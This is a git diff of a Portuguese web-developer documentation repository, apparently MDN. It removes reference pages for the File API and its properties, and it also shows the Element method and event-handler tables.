styleAn object representing the declarations of an element's style attributes.CSSStyleHTML, XUL
tabIndexGets/sets the position of the element in the tabbing order.NumberHTML
tagNameThe name of the tag for the given element.StringAll
textContentGets/sets the textual contents of an element and all its descendants.StringAll
- -

Métodos

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Nome & DescriçãoRetornaDisponibilidade
addEventListener( type, listener, useCapture )
- Register an event handler to a specific event type on the element.
-All
appendChild( appendedNode )
- Insert a node as the last child node of this element.
NodeAll
blur()
- Removes keyboard focus from the current element.
-HTML, XUL
click()
- Simulates a click on the current element.
-HTML, XUL
cloneNode( deep )
- Clone a node, and optionally, all of its contents.
NodeAll
dispatchEvent( event )
- Dispatch an event to this node in the DOM.
BooleanAll
focus()
- Gives keyboard focus to the current element.
-HTML, XUL
getAttribute( name )
- Retrieve the value of the named attribute from the current node.
ObjectAll
getAttributeNS( namespace, name )
- Retrieve the value of the attribute with the specified name and namespace, from the current node.
ObjectAll
getAttributeNode( name )
- Retrieve the node representation of the named attribute from the current node.
AttrAll
getAttributeNodeNS( namespace, name )
- Retrieve the node representation of the attribute with the specified name and namespace, from the current node.
AttrAll
Nome & DescriçãoRetornaDisponibilidade
getElementsByTagName( name )
- Retrieve a set of all descendant elements, of a particular tag name, from the current element.
NodeSetAll
getElementsByTagNameNS( namespace, name )
- Retrieve a set of all descendant elements, of a particular tag name and namespace, from the current element.
NodeSetAll
hasAttribute( name )
- Check if the element has the specified attribute, or not.
BooleanAll
hasAttributeNS( namespace, name )
- Check if the element has the specified attribute, in the specified namespace, or not.
BooleanAll
hasAttributes()
- Check if the element has any attributes, or not.
BooleanAll
hasChildNodes()
- Check if the element has any child nodes, or not.
BooleanAll
insertBefore( insertedNode, adjacentNode )
- Inserts the first node before the second, child, Node in the DOM.
NodeAll
normalize()
- Clean up all the text nodes under this element (merge adjacent, remove empty).
-All
removeAttribute( name )
- Remove the named attribute from the current node.
-All
removeAttributeNS( namespace, name )
- Remove the attribute with the specified name and namespace, from the current node.
-All
Nome & DescriçãoRetornaDisponibilidade
removeAttributeNode( name )
- Remove the node representation of the named attribute from the current node.
-All
removeChild( removedNode )
- Removes a child node from the current element.
NodeAll
removeEventListener( type, handler, useCapture )
- Removes an event listener from the element.
-All
replaceChild( insertedNode, replacedNode )
- Replaces one child node in the current element with another.
NodeAll
scrollIntoView( alignWithTop )
- Scrolls the page until the element gets into the view.
-HTML
setAttribute( name, value )
- Set the value of the named attribute from the current node.
-All
setAttributeNS( namespace, name, value )
- Set the value of the attribute with the specified name and namespace, from the current node.
-All
setAttributeNode( name, attrNode )
- Set the node representation of the named attribute from the current node.
-All
setAttributeNodeNS( namespace, name, attrNode )
- Set the node representation of the attribute with the specified name and namespace, from the current node.
-All
- -

Event Handlers

- -

These are properties that correspond to the HTML 'on' event attributes.

- -

Unlike the corresponding attributes, the values of these properties are functions (or any other object implementing the EventListener interface) rather than a string. In fact, assigning an event attribute in HTML creates a wrapper function around the specified code. For example, given the following HTML:

- -
<div onclick="foo();">click me!</div>
-
- -

If element is a reference to this div, the value of element.onclick is effectively:

- -
function onclick(event) {
-   foo();
-}
-
- -

Note how the event object is passed as parameter event to this wrapper function.

- -
-
onblur
-
Returns the event handling code for the blur event.
-
- -
-
onchange
-
Returns the event handling code for the change event.
-
- -
-
onclick
-
Returns the event handling code for the click event.
-
- -
-
ondblclick
-
Returns the event handling code for the dblclick event.
-
- -
-
onfocus
-
Returns the event handling code for the focus event.
-
- -
-
onkeydown
-
Returns the event handling code for the keydown event.
-
- -
-
onkeypress
-
Returns the event handling code for the keypress event.
-
- -
-
onkeyup
-
Returns the event handling code for the keyup event.
-
- -
-
onmousedown
-
Returns the event handling code for the mousedown event.
-
- -
-
onmousemove
-
Returns the event handling code for the mousemove event.
-
- -
-
onmouseout
-
Returns the event handling code for the mouseout event.
-
- -
-
onmouseover
-
Returns the event handling code for the mouseover event.
-
- -
-
onmouseup
-
Returns the event handling code for the mouseup event.
-
- -
-
onresize
-
Returns the event handling code for the resize event.
-
- -
-
onscroll
-
Returns the event handling code for the scroll event.
-
- -
 
- -

Compatibilidade de navegador

- - - -

{{Compat("api.Element")}}

diff --git a/files/pt-pt/web/api/file/file/index.html b/files/pt-pt/web/api/file/file/index.html deleted file mode 100644 index a785c59a41..0000000000 --- a/files/pt-pt/web/api/file/file/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: File.File() -slug: Web/API/File/File -tags: - - API - - Construtor - - File API - - Referencia -translation_of: Web/API/File/File ---- -
{{APIRef("File")}}
- -

O construtor File() cria uma instância do objeto {{domxref("File")}}.

- -

Sintaxe

- -
new File(bits, name[, options]);
- -

Parâmetros

- -
-
bits
-
Uma {{jsxref("Array")}} de objetos {{jsxref("ArrayBuffer")}}, {{domxref("ArrayBufferView")}}, {{domxref("Blob")}}, {{domxref("USVString")}}, ou um misto de tais objetos, que será posto no {{domxref("File")}}. Objetos USVString são codificados em UTF-8.
-
name
-
Uma {{domxref("USVString")}} que representa o nome do ficheiro ou o caminho para o ficheiro.
-
options {{optional_inline}}
-
Um objeto com atributos opcionais para o ficheiro. As opções disponíveis são: -
    -
  • type: Uma {{domxref("DOMString")}} que representa o tipo MIME do conteúdo será posto no ficheiro. Tem um valor pré-definido de "".
  • -
  • lastModified: Um número que representa o número de milissegundos entre o início da era Unix e a última data em que o ficheiro foi modificado. Tem um valor pré-definido de {{jsxref("Date.now()")}}.
  • -
-
-
- -

Exemplo

- -
var file = new File(["foo"], "foo.txt", {
-  type: "text/plain",
-});
- -

Especificações

- - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentários
{{SpecName('File API')}}{{Spec2('File API')}}Definição inicial
- -

Compatibilidade

- - - -

{{Compat("api.File.File")}}

- -

Ver também

- -
    -
  • {{domxref("FileReader")}}
  • -
  • {{domxref("Blob")}}
  • -
diff --git a/files/pt-pt/web/api/file/filename/index.html b/files/pt-pt/web/api/file/filename/index.html deleted file mode 100644 index 0e0ee197ae..0000000000 --- a/files/pt-pt/web/api/file/filename/index.html +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: File.fileName -slug: Web/API/File/fileName -tags: - - API - - DOM - - Ficheiros - - File API - - Non-standard - - Obsoleto - - Propriedade - - Referencia -translation_of: Web/API/File/fileName ---- -
{{APIRef("File API")}}{{non-standard_header}} {{obsolete_header(7.0)}}
- -

Retorna o nome do ficheiro. Por razões de segurança o caminho é excluído desta propriedade.

- -
Esta propriedade está obsoleta. Use antes {{domxref("File.name")}}.
- -

Sintaxe

- -
var name = instanceOfFile.fileName;
- -

Valor

- -

Uma string

- -

Especificação

- -

Não faz parte duma especificação.

- -

Ver também

- -
    -
  • {{domxref("File.name")}}
  • -
diff --git a/files/pt-pt/web/api/file/filesize/index.html b/files/pt-pt/web/api/file/filesize/index.html deleted file mode 100644 index e17676ecee..0000000000 --- a/files/pt-pt/web/api/file/filesize/index.html +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: File.fileSize -slug: Web/API/File/fileSize -tags: - - API - - DOM - - Ficheiros - - File API - - Non-standard - - Obsoleto - - Propriedade - - Referencia -translation_of: Web/API/File/fileSize ---- -

{{APIRef("File API") }}{{non-standard_header}} {{deprecated_header(7.0)}}

- -

Retorna o tamanho do ficheiro em bytes.

- -
Esta propriedade está obsoleta. Use antes {{domxref("Blob.size")}}.
- -

Sintaxe

- -
var size = instanceOfFile.fileSize;
- -

Valor

- -

Um número.

- -

Especificação

- -

Não faz parte de nenhuma especificação.

- -

Ver também

- -
    -
  • {{domxref("Blob.size")}}
  • -
diff --git a/files/pt-pt/web/api/file/getasbinary/index.html b/files/pt-pt/web/api/file/getasbinary/index.html deleted file mode 100644 index 8ec42cf1f2..0000000000 --- a/files/pt-pt/web/api/file/getasbinary/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: File.getAsBinary() -slug: Web/API/File/getAsBinary -tags: - - API - - Ficheiros - - File API - - Non-standard - - Obsoleto - - Referencia - - metodo -translation_of: Web/API/File/getAsBinary ---- -

{{APIRef("File API")}}

- -

{{non-standard_header}}

- -

{{obsolete_header(7.0)}}

- -

Sumário

- -

O método getAsBinary permite aceder aos dados de um ficheiro num formato raw binário.

- -
-

Nota: Este método é obsoleto; use antes o método {{domxref("FileReader.readAsBinaryString()","readAsBinaryString()")}} ou {{domxref("FileReader.readAsArrayBuffer()","readAsArrayBuffer()")}} de {{domxref("FileReader")}}.

-
- -

Sintaxe

- -
var binary = instanceOfFile.getAsBinary();
- -

Retorna

- -

Uma string.

- -

Exemplo

- -
// fileInput é um HTMLInputElement: <input type="file" id="myfileinput" multiple>
-var fileInput = document.getElementById("myfileinput");
-
-// files é um objeto de FileList (parecido ao NodeList)
-var files = fileInput.files;
-
-// objeto com os tipos de media permitidos
-var accept = {
-  binary : ["image/png", "image/jpeg"],
-  text   : ["text/plain", "text/css", "application/xml", "text/html"]
-};
-
-var file;
-
-for (var i = 0; i < files.length; i++) {
-  file = files[i];
-
-  // se o ficheiro pode ser detetado
-  if (file !== null) {
-    if (accept.binary.indexOf(file.type) > -1) {
-      // file contem dados binarios, num formato permitido
-      var data = file.getAsBinary();
-    } else if (accept.text.indexOf(file.type) > -1) {
-      // file contem texto, num formato permitido
-      var data = file.getAsText();
-      // modificar dados com métodos de string
-    }
-  }
-}
- -

Especificação

- -

Não pertence a nenhuma especificação.

- -

Ver também

- -
    -
  • {{domxref("File")}}
  • -
  • {{domxref("FileReader")}}
  • -
diff --git a/files/pt-pt/web/api/file/getasdataurl/index.html b/files/pt-pt/web/api/file/getasdataurl/index.html deleted file mode 100644 index e3e5bae4b3..0000000000 --- a/files/pt-pt/web/api/file/getasdataurl/index.html +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: File.getAsDataURL() -slug: Web/API/File/getAsDataURL -tags: - - API - - Ficheiros - - File API - - Non-standard - - Obsoleto - - Referencia - - metodo -translation_of: Web/API/File/getAsDataURL ---- -
{{APIRef("File API") }}
- -

{{non-standard_header}}

- -

{{deprecated_header(7.0)}}

- -

Sumário

- -

O método getAsDataURL retorna um URL em estilo data: que codifica todo o conteúdo do ficheiro em questão.

- -
-

Nota: Este método está obsoleto: use antes o método  {{domxref("FileReader.readAsDataURL","readAsDataURL()")}} de {{domxref("FileReader")}}.

-
- -

Sintaxe

- -
var url = instanceOfFile.getAsDataURL();
- -

Retorna

- -

Uma string a representar um URL de estilo data:

- -

Exemplo

- -
// fileInput é um HTMLInputElement: <input type="file" id="myfileinput" multiple>
-var fileInput = document.getElementById("myfileinput");
-
-// files é um objeto FileList (parecido ao NodeList)
-var files = fileInput.files;
-
-// accept é um array com tipos de ficheiros aceites
-var accept = ["image/png"];
-
-// img é um HTMLImgElement: <img id="myimg">
-var img = document.getElementById("myimg");
-
-// se aceitamos o primeiro tipo de ficheiro selecionado
-if (accept.indexOf(files[0].mediaType) > -1) {
-  // apresentar a imagem
-  // igual a <img src="data:image/png,<imagedata>">
-  img.src = files[0].getAsDataURL();
-}
-
- -

Especificação

- -

Não pertence a nenhuma especificação.

- -

Ver também

- -
    -
  • {{domxref("File")}}
  • -
  • {{domxref("FileReader")}}
  • -
diff --git a/files/pt-pt/web/api/file/getastext/index.html b/files/pt-pt/web/api/file/getastext/index.html deleted file mode 100644 index b20229737e..0000000000 --- a/files/pt-pt/web/api/file/getastext/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: File.getAsText() -slug: Web/API/File/getAsText -tags: - - API - - Ficheiros - - File API - - Non-standard - - Obsoleto - - Referencia - - metodo -translation_of: Web/API/File/getAsText ---- -

{{APIRef("File API") }}{{non-standard_header}}

- -

{{obsolete_header(7.0)}}

- -

Sumário

- -

O método getAsText oferece os dados do ficheiro num formato de texto de acordo com uma codificação.

- -
-

Note: Este método está obsoleto; use antes o método {{domxref("FileReader.readAsText()","readAsText()")}} de {{domxref("FileReader")}}.

-
- -

Sintaxe

- -
var str = instanceOfFile.getAsText(encoding);
- -

Parâmetros

- -
-
encoding
-
Uma string a indicar qual a codificação para usar nos dados devolvidos. Se o string estiver vazio, é utilizado UTF-8.
-
- -

Retorna

- -

A string que contem os dados do ficheiro num formato de texto especificado pelo encoding.

- -

Exemplo

- -
// fileInput é um HTMLInputElement: <input type="file" id="myfileinput" multiple>
-var fileInput = document.getElementById("myfileinput");
-
-// files é um objeto de FileList (parecido ao NodeList)
-var files = fileInput.files;
-
-// object com os formatos de media validos
-var accept = {
-  binary : ["image/png", "image/jpeg"],
-  text   : ["text/plain", "text/css", "application/xml", "text/html"]
-};
-
-var file;
-
-for (var i = 0; i < files.length; i++) {
-  file = files[i];
-
-  // se o formato do ficheiro foi detetado
-  if (file !== null) {
-    if (accept.text.indexOf(file.mediaType) > -1) {
-      // file contem texto, num formato permitido
-      // make sure it's encoded as utf-8
-      var data = file.getAsText("utf-8");
-      // modificar dados com métodos de string
-
-    } else if (accept.binary.indexOf(file.mediaType) > -1) {
-      // binario
-    }
-  }
-}
- -

Especificação

- -

Não pertence a nenhuma especificação.

- -

Ver também

- -
    -
  • {{domxref("File")}}
  • -
  • {{domxref("FileReader")}}
  • -
diff --git a/files/pt-pt/web/api/file/index.html b/files/pt-pt/web/api/file/index.html deleted file mode 100644 index 43e85438cb..0000000000 --- a/files/pt-pt/web/api/file/index.html +++ /dev/null @@ -1,101 +0,0 @@ ---- -title: File -slug: Web/API/File -tags: - - API - - File API - - Interface - - NeedsTranslation - - Reference - - TopicStub - - Web -translation_of: Web/API/File ---- -
{{APIRef}}
- -

The File interface provides information about files and allows JavaScript in a web page to access their content.

- -

File objects are generally retrieved from a {{DOMxRef("FileList")}} object returned as a result of a user selecting files using the {{HTMLElement("input")}} element, from a drag and drop operation's {{DOMxRef("DataTransfer")}} object, or from the mozGetAsFile() API on an {{DOMxRef("HTMLCanvasElement")}}.

- -

A File object is a specific kind of a {{DOMxRef("Blob")}}, and can be used in any context that a Blob can. In particular, {{DOMxRef("FileReader")}}, {{DOMxRef("URL.createObjectURL()")}}, {{DOMxRef("ImageBitmapFactories.createImageBitmap()", "createImageBitmap()")}}, and {{DOMxRef("XMLHttpRequest", "", "send()")}} accept both Blobs and Files.

- -

See Using files from web applications for more information and examples.

- -

{{InheritanceDiagram}}

- -

Constructor

- -
-
{{DOMxRef("File.File", "File()")}}
-
Returns a newly constructed File.
-
- -

Instance properties

- -
-
{{DOMxRef("File.prototype.lastModified")}} {{ReadOnlyInline}}
-
Returns the last modified time of the file, in millisecond since the UNIX epoch (January 1st, 1970 at Midnight).
-
{{DOMxRef("File.prototype.lastModifiedDate")}} {{Deprecated_Inline}} {{ReadOnlyInline}}
-
Returns the last modified {{JSxRef("Date")}} of the file referenced by the File object.
-
{{DOMxRef("File.prototype.name")}}{{ReadOnlyInline}}
-
Returns the name of the file referenced by the File object.
-
{{DOMxRef("File.prototype.webkitRelativePath")}} {{Non-standard_Inline}} {{ReadOnlyInline}}
-
Returns the path the URL of the {{DOMxRef("File")}} is relative to.
-
- -

File implements {{DOMxRef("Blob")}}, so it also has the following properties available to it:

- -
-
{{DOMxRef("File.prototype.size")}} {{ReadOnlyInline}}
-
Returns the size of the file in bytes.
-
{{DOMxRef("File.prototype.type")}} {{ReadOnlyInline}}
-
Returns the MIME type of the file.
-
- -

Instance methods

- -

The File interface doesn't define any methods, but inherits methods from the {{DOMxRef("Blob")}} interface:

- -
-
{{DOMxRef("Blob.prototype.slice()", "Blob.prototype.slice([start[, end[, contentType]]])")}}
-
Returns a new Blob object containing the data in the specified range of bytes of the source Blob.
-
{{DOMxRef("Blob.prototype.stream()")}}
-
Transforms the File into a {{DOMxRef("ReadableStream")}} that can be used to read the File contents.
-
{{DOMxRef("Blob.prototype.text()")}}
-
Transforms the File into a stream and reads it to completion. It returns a promise that resolves with a {{DOMxRef("USVString")}} (text).
-
{{DOMxRef("Blob.prototype.arrayBuffer()")}}
-
Transforms the File into a stream and reads it to completion. It returns a promise that resolves with an {{DOMxRef("ArrayBuffer")}}.
-
- -

Specifications

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('File API', "#file-section", "The File interface")}}{{Spec2('File API')}}Initial definition.
- -

Browser compatibility

- - - -

{{Compat("api.File")}}

- -

See also

- - diff --git a/files/pt-pt/web/api/file/lastmodified/index.html b/files/pt-pt/web/api/file/lastmodified/index.html deleted file mode 100644 index 9b05f6f3cf..0000000000 --- a/files/pt-pt/web/api/file/lastmodified/index.html +++ /dev/null @@ -1,113 +0,0 @@ ---- -title: File.lastModified -slug: Web/API/File/lastModified -tags: - - API - - Ficheiros - - File API - - Propriedade - - Referencia -translation_of: Web/API/File/lastModified ---- -
{{APIRef("File")}}
- -

A propriedade read-only File.lastModified indica a ultima data em que o ficheiro foi modificado, na forma do numero de milissegundos desde o início da era Unix (1 de janeiro de 1970 às 00:00:00). Os ficheiros cuja a data da última modificação não é conhecida devolvem a data actual.

- -

Sintaxe

- -
const tempo = instanciaDeFicheiro.lastModified;
-
- -

Valor

- -

Um número que representa o número de milissegundos desde o início da época do Unix.

- -

Exemplo

- -

Leitura a partir da entrada do ficheiro

- -
<input type="file" multiple id="entradaDeFicheiro">
-
- -
const entradaDeFicheiro = document.querySelector('#entradaDeFicheiro');
-entradaDeFicheiro.addEventListener('change', (event) => {
-  // ficheiros é um objeto de FileList (semelhante a NodeList)
-  const ficheiros = event.target.files;
-
-  for (let ficheiro of ficheiros) {
-    const data = new Date(ficheiro.lastModified);
-    console.log(`${ficheiro.name} tem uma última data modificada de ${data}`);
-  }
-});
-
- -

Veja os resultados abaixo:

- -

{{ EmbedLiveSample('Leitura_a_partir_da_entrada_do_ficheiro', 300, 50) }}

- -

Ficheiros criados dinamicamente

- -

Se um objeto File for criado dinamicamente, a última data modificada pode ser fornecida na função construtor {{domxref("File.File()", "new File()")}}. Se estiver em falta, lastModified herda a hora actual de {{jsxref("Date.now()")}} no momento em que o objeto File é criado.

- -
const ficheiroComData = new File([], 'file.bin', {
-  lastModified: new Date(2017, 1, 1),
-});
-console.log(ficheiroComData.lastModified); //devolve 1485903600000
-
-const ficheiroSemData = new File([], 'file.bin');
-console.log(ficheiroSemData.lastModified); //devolve data atual em milissegundos
-
- -

Reduced time precision

- -

To offer protection against timing attacks and fingerprinting, the precision of someFile.lastModified might get rounded depending on browser settings.
- In Firefox, the privacy.reduceTimerPrecision  preference is enabled by default and defaults to 20us in Firefox 59; in 60 it will be 2ms.

- -
// reduced time precision (2ms) in Firefox 60
-someFile.lastModified;
-// 1519211809934
-// 1519211810362
-// 1519211811670
-// ...
-
-
-// reduced time precision with `privacy.resistFingerprinting` enabled
-someFile.lastModified;
-// 1519129853500
-// 1519129858900
-// 1519129864400
-// ...
-
- -

In Firefox, you can also enabled privacy.resistFingerprinting, the precision will be 100ms or the value of privacy.resistFingerprinting.reduceTimerPrecision.microseconds, whichever is larger.

- -

Especificações

- - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentários
{{SpecName('File API', '#file-attrs', 'lastModified')}}{{Spec2('File API')}}Definição inicial.
- -

Compatibilidade

- - - -

{{Compat("api.File.lastModified")}}

- -

Ver também

- -
    -
  • {{domxref("File")}}
  • -
diff --git a/files/pt-pt/web/api/file/lastmodifieddate/index.html b/files/pt-pt/web/api/file/lastmodifieddate/index.html deleted file mode 100644 index 10d5d8c932..0000000000 --- a/files/pt-pt/web/api/file/lastmodifieddate/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: File.lastModifiedDate -slug: Web/API/File/lastModifiedDate -tags: - - API - - Ficheiros - - File - - File API - - Obsoleto - - Propriedade - - Read-only - - Referencia - - lastDateModified -translation_of: Web/API/File/lastModifiedDate ---- -
{{APIRef("File API") }} {{deprecated_header}}
- -

A propriedade read-only File.lastModifiedDate devolve a ultima data em que o ficheiro foi modificado. Ficheiros onde a ultima data de modificação é desconhecida devolvem a data atual.

- -

Sintaxe

- -
var time = instanceOfFile.lastModifiedDate
- -

Valor

- -

Um objeto Date a indicar a data e hora da ultima modificação ao ficheiro.

- -

Exemplo

- -
// fileInput é um HTMLInputElement: <input type="file" multiple id="myfileinput">
-var fileInput = document.getElementById("myfileinput");
-
-// files é um objeto de FileList (parecido ao NodeList)
-var files = fileInput.files;
-
-for (var i = 0; i < files.length; i++) {
-  alert(files[i].name + " has a last modified date of " + files[i].lastModifiedDate);
-}
- -

Precisão reduzida

- -

Para oferecer proteção contra timing attacks e fingerprinting a precisão de someFile.lastModifiedDate.getTime() pode ser arredondada dependente das preferências no navegador.

- -

No Firefox, a preferência privacy.reduceTimerPrecision está ligada por pré-definição com valores arredondados aos 20μs mais próximos no Firefox 59; e no Firefox 60 aos 2ms.

- -
// precisão reduzida (2ms) no Firefox 60
-someFile.lastModifiedDate.getTime();
-// 1519211809934
-// 1519211810362
-// 1519211811670
-// ...
-
-
-// precisão reduzida com a `privacy.resistFingerprinting` ligada
-someFile.lastModifiedDate.getTime();
-// 1519129853500
-// 1519129858900
-// 1519129864400
-// ...
-
- -

No Firefox, também pode ligar a preferência privacy.resistFingerprinting, a precisão será arredondada aos 100ms mais próximos ou ao valor de privacy.resistFingerprinting.reduceTimerPrecision.microseconds, o que for maior.

- -

Especificações

- -

Apesar de estar presente numa versão inicial do esboço do File API spec, esta propriedade foi removida e agora é non-standard. Use antes {{domxref("File.lastModified")}}.

- -

Compatibilidade

- -
- - -

{{Compat("api.File.lastModifiedDate")}}

-
- -

Ver também

- -
    -
  • {{domxref("File")}}
  • -
diff --git a/files/pt-pt/web/api/file/mozfullpath/index.html b/files/pt-pt/web/api/file/mozfullpath/index.html deleted file mode 100644 index 24e126847f..0000000000 --- a/files/pt-pt/web/api/file/mozfullpath/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: File.mozFullPath -slug: Web/API/File/mozFullPath -tags: - - API - - Ficheiros - - File - - File API - - Non-standard - - Propriedade - - Referencia - - mozFullPath -translation_of: Web/API/File/mozFullPath ---- -
{{APIRef("File API")}}{{draft}}{{Non-standard_header}}
- -

Uma extensão privilegiada para a interface {{domxref("File")}}, a propriedade mozFullPath contém o caminho completo do ficheiro representado. Esta propriedade só está disponível a partir do código do navegador ou de extensões Firefox ao estilo antigo com base no XPCOM. Não está disponível para o conteúdo da web.

diff --git a/files/pt-pt/web/api/file/name/index.html b/files/pt-pt/web/api/file/name/index.html deleted file mode 100644 index 907a08a8e2..0000000000 --- a/files/pt-pt/web/api/file/name/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: File.name -slug: Web/API/File/name -tags: - - API - - File API - - Files - - Propriadade - - Referencia -translation_of: Web/API/File/name ---- -
{{APIRef("File API")}}
- -
Devolve o nome do ficheiro representado por um objeto {{domxref("File")}}. Por razões de segurança, o caminho é excluído desta propriedade.
- -

Sintaxe

- -
var name = file.name;
- -

Valor

- -

Uma string, que contem o nome do ficheiro sem o caminho, por exemplo "O meu Resumo.rtf".

- -

Exemplo

- -
<input type="file" multiple onchange="processSelectedFiles(this)">
-
- -
function processSelectedFiles(fileInput) {
-  var files = fileInput.files;
-
-  for (var i = 0; i < files.length; i++) {
-    alert("Filename " + files[i].name);
-  }
-}
- -

Veja os resultados abaixo:

- -

{{ EmbedLiveSample('Exemplo', 300, 50) }}

- - - -

Especificações

- - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('File API', '#file-attrs', 'name')}}{{Spec2('File API')}}Definição inicial.
- -

Compatibilidade

- -
- - -

{{Compat("api.File.name")}}

-
- -

Ver também

- - diff --git a/files/pt-pt/web/api/file/type/index.html b/files/pt-pt/web/api/file/type/index.html deleted file mode 100644 index 2b448d3086..0000000000 --- a/files/pt-pt/web/api/file/type/index.html +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: File.type -slug: Web/API/File/type -tags: - - API - - Ficheiros - - File API - - Propriedade - - Referencia - - Tipo de Ficheiro -translation_of: Web/API/File/type ---- -
{{APIRef("File API")}}
- -

Retorna a média (MIME) representado por um objeto {{domxref("File")}}.

- -

Sintaxe

- -
var name = file.type;
- -

Valor

- -

Uma string, que contem o tipo de média (MIME) que indica o tipo do ficheiro, por exemplo "image/png" é devolvido para imagens PNG.

- -

Exemplo

- -
<input type="file" multiple onchange="showType(this)">
-
- -
function showType(fileInput) {
-  var files = fileInput.files;
-
-  for (var i = 0; i < files.length; i++) {
-    var name = files[i].name;
-    var type = files[i].type;
-    alert("Filename: " + name + " , Type: " + type);
-  }
-}
- -
-


- Nota: Baseado na atual implementação, navegadores não leem a bytestream dum ficheiro para determinar a sua média. É feito uma ilação baseada na extensão do ficheiro; uma imagem PNG com uma extensão ".txt" é atribuída o tipo "text/plain" e não "image/png". Além disso, file.type é geralmente fiável apenas para ficheiros comuns como imagens, documentos HTML, áudio e vídeo. Extensões de ficheiros pouco comuns devolveriam uma cadeia de caracteres vazia. A configuração do cliente (por exemplo, o Registo do Windows) pode resultar em valores inesperados mesmo para tipos comuns. Os programadores são aconselhados a não confiar nesta propriedade como o único esquema de validação.

-
- -

Especificações

- - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('File API', '#dfn-type', 'type')}}{{Spec2('File API')}}Definição inicial
- -

Compatibilidade

- - - -

{{Compat("api.File.type")}}

- -

Ver também

- - diff --git a/files/pt-pt/web/api/file/webkitrelativepath/index.html b/files/pt-pt/web/api/file/webkitrelativepath/index.html deleted file mode 100644 index 35f155c1c6..0000000000 --- a/files/pt-pt/web/api/file/webkitrelativepath/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: File.webkitRelativePath -slug: Web/API/File/webkitRelativePath -tags: - - Ficheiro -translation_of: Web/API/File/webkitRelativePath ---- -

{{APIRef("File API")}}

- -

O File.webkitRelativePath é uma propriedade só de leitura que contém um {{domxref("USVString")}} que especifica o caminho do ficheiro em relação ao diretório selecionado pelo utilizador num elemento {{HTMLElement("input")}} com o seu conjunto de atributos {{htmlattrxref("webkitdirectory", "input")}}.

- -

Sintaxe

- -
 relativePath = File.webkitRelativePath
- -

Valor

- -

Um {{domxref("USVString")}} que contem o caminho do ficheiro relativo ao diretório dos antepassados que o utilizador selecionou.

- -

Exemplo

- -

Neste exemplo, é apresentado um seletor de diretórios que permite ao utilizador escolher um ou mais diretórios. Quando o evento {{event("change")}} ocorre, é gerada e apresentada uma lista de todos os ficheiros contidos dentro das hierarquias de diretórios selecionados.

- -

Conteúdo HTML

- -
<input type="file" id="seletorDeFicheiros" name="listaDeFicheiros" webkitdirectory multiple />
-<ul id="listagem"></ul>
- -

Conteúdo JavaScript

- -
document.getElementById("seletorDeFicheiros").addEventListener("change", function(event) {
-  let output = document.getElementById("listagem");
-  let ficheiros = event.target.files;
-
-  for (let i = 0; i < ficheiros.length; i++) {
-    let item = document.createElement("li");
-    item.innerHTML = ficheiros[i].webkitRelativePath;
-    output.appendChild(item);
-  };
-}, false);
-
- -

Resultado

- -

{{ EmbedLiveSample('Example') }}

- -

Especificações

- - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{ SpecName('File System API', '#dom-file-webkitrelativepath', 'webkitRelativePath') }}{{ Spec2('File System API') }}Definição inicial.
- -

Esta IPA não tem especificação oficial do W3C ou do WHATWG.

- -

Compatibilidade

- - - -

{{Compat("api.File.webkitRelativePath")}}

- -

Ver também

- - diff --git a/files/pt-pt/web/api/file_and_directory_entries_api/index.html b/files/pt-pt/web/api/file_and_directory_entries_api/index.html deleted file mode 100644 index 3c3d90dd9f..0000000000 --- a/files/pt-pt/web/api/file_and_directory_entries_api/index.html +++ /dev/null @@ -1,192 +0,0 @@ ---- -title: API Entradas de Diretoria e Ficheiro -slug: Web/API/File_and_Directory_Entries_API -tags: - - API - - API Entradas de Diretoria e Ficheiro - - API Sistema de Ficheiros - - Ficheiros - - Não Padrão - - Referencia - - Resuno - - Sinopse -translation_of: Web/API/File_and_Directory_Entries_API -original_slug: Web/API/API_Entradas_de_Diretoria_e_Ficheiro ---- -

{{DefaultAPISidebar("File System API")}}{{Non-standard_header}}

- -

API Entradas de Diretoria e Ficheiro simula um sistema de ficheiros local em que as páginas da Web podem navegar dentro e aceder aos ficheiros na mesma. Pode desenvolver aplicações que lêem, escrevem e criam ficheiros e/ou diretorias num sistema de ficheiros virtual e ambiente de testes (sandbox).

- -
-

Because this is a non-standard API, whose specification is not currently on a standards track, it's important to keep in mind that not all browsers implement it, and those that do may implement only small portions of it. Check the {{anch("Browser compatibility")}} section for details.

-
- -

Two very similar APIs exist depending on whether you desire asynchronous or synchronous behavior. The synchronous API is indended to be used inside a {{domxref("Worker")}} and will return the values you desire. The asynchronous API will not block and functions and the API will not return values; instead, you will need to supply a callback function to handle the response whenever it arrives.

- -
-

The Firefox implementation of the File and Directory Entries API is very limited; there is no support for creating files. Only for accessing files which are selected by the user in a file {{HTMLElement("input")}} element (see {{domxref("HTMLInputElement")}} as well) or when a file or directory is provided to the Web site or app using drag and drop. Firefox also does not implement the synchronous API. Check the browser compatibility for any part of the API you use carefully, and see File and Directory Entries API support in Firefox for more details.

-
- -

Obter acesso a um sistema de ficheiros

- -

There are two ways to get access to file systems defined in the current specification draft:

- -
    -
  • When handling a {{event("drop")}} event for drag and drop, you can call {{domxref("DataTransferItem.webkitGetAsEntry()")}} to get the {{domxref("FileSystemEntry")}} for a dropped item. If the result isn't null, then it's a dropped file or directory, and you can use file system calls to work with it.
  • -
